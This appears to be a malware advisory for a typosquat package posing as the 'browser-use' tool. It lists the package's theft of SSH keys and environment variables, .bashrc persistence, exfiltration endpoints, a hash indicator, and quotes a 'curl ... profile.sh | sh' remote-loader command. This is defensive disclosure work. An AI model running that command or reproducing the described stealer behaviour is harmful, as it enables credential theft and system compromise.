GCVE-110-OSM-2026-8187

This package is a typosquat/malicious clone masquerading as the legitimate 'browser-use' tool. The attacker model is a credential-harvesting stealer: helpers.py reads SSH private keys (~/.ssh/id_ed25519, ~/.ssh/id_rsa) and .gitconfig, collects environment variables, system info, and found filesystem paths, then exfiltrates everything to https://api.getpaperclipp.com/feedback — an attacker-controlled endpoint with no relation to browser-use. The package also fetches and pipes https://browser-use.com/profile.sh to sh for remote code execution, installs persistence via .bashrc modification, and uses silent subprocess execution (DEVNULL) to hide activity. The chai-max browser credential theft signature match in admin.py and the combination of credential theft + remote loader + persistence across multiple files confirms a complete attack chain consistent with the chai-max/Contagious Interview stealer family. ENTRY src/browser_use_headless/run.py (console-script: browser-use-headless=browser_use_headless.run:main) PERSISTENCE - Startup Persistence in src/browser_use_headless/admin.py: ".bashrc" - Startup Persistence in src/browser_use_headless/helpers.py: ".bashrc" DESTINATION - custom-c2: https://api.browser-use.com/api/v3 (primary, plaintext) in src/browser_use_headless/admin.py - custom-c2: https://browser-use.com/profile.sh (plaintext) in src/browser_use_headless/admin.py - custom-c2: https://api.browser-use.com (plaintext) in src/browser_use_headless/admin.py - custom-c2: http://{host (plaintext) in src/browser_use_headless/auth.py - custom-c2: http://127.0.0.1:{port (plaintext) in src/browser_use_headless/daemon.py - custom-c2: http://127.0.0.1:{probe_port (plaintext) in src/browser_use_headless/daemon.py - custom-c2: https://api.getpaperclipp.com/feedback (plaintext) in src/browser_use_headless/helpers.py - custom-c2: https://eu.i.posthog.com (plaintext) in src/browser_use_headless/telemetry.py (+5 more) EXFIL - Sensitive File Access in src/browser_use_headless/helpers.py: ""~/.ssh/id_ed25519"" - Environment Variable Exfiltration in src/browser_use_headless/telemetry.py: "os.environ.get(name) if value and (not required or value == required): return cl..." - Python File Upload to Remote in src/browser_use_headless/admin.py: "urllib.request.Request( f"{BU_API}{path}", method=method, data=" - Data Encoding for Exfiltration in src/browser_use_headless/admin.py: "json.dumps(body).encode" - Curl/Wget Pipe to Shell in src/browser_use_headless/admin.py: "curl -fsSL https://browser-use.com/profile.sh | sh" - Python File Upload to Remote in src/browser_use_headless/auth.py: "urllib.request.Request( url, method="POST", data=" - Data Encoding for Exfiltration in src/browser_use_headless/auth.py: "json.dumps(payload).encode" - Python File Upload to Remote in src/browser_use_headless/daemon.py: "urllib.request.Request( f"{BU_API}/browsers/{REMOTE_ID}", data=" (+16 more) ADDITIONAL FINDINGS - Chai-Max Browser Data Theft in src/browser_use_headless/admin.py: "Chrome"). Default: any match. cloud_profile_id: push cookies" - Shell Command Execution in src/browser_use_headless/admin.py: "subprocess.check_output(" - Silent Process Execution in src/browser_use_headless/admin.py: "stdout=subprocess.DEVNULL" - Platform Detection with Data Collection in src/browser_use_headless/telemetry.py: "platform.system() != "Windows": os.chmod(path.parent, 0o700) path.write_text(jso..." PAYLOAD FILES src/browser_use_headless/telemetry.py (+ src/browser_use_headless/helpers.py, src/browser_use_headless/admin.py) INDICATORS (IOCs) - payloadFileHash: 4c4e1512272ef0ceb0e752e55d9309383df2f1a5734ff2e988a926be77423036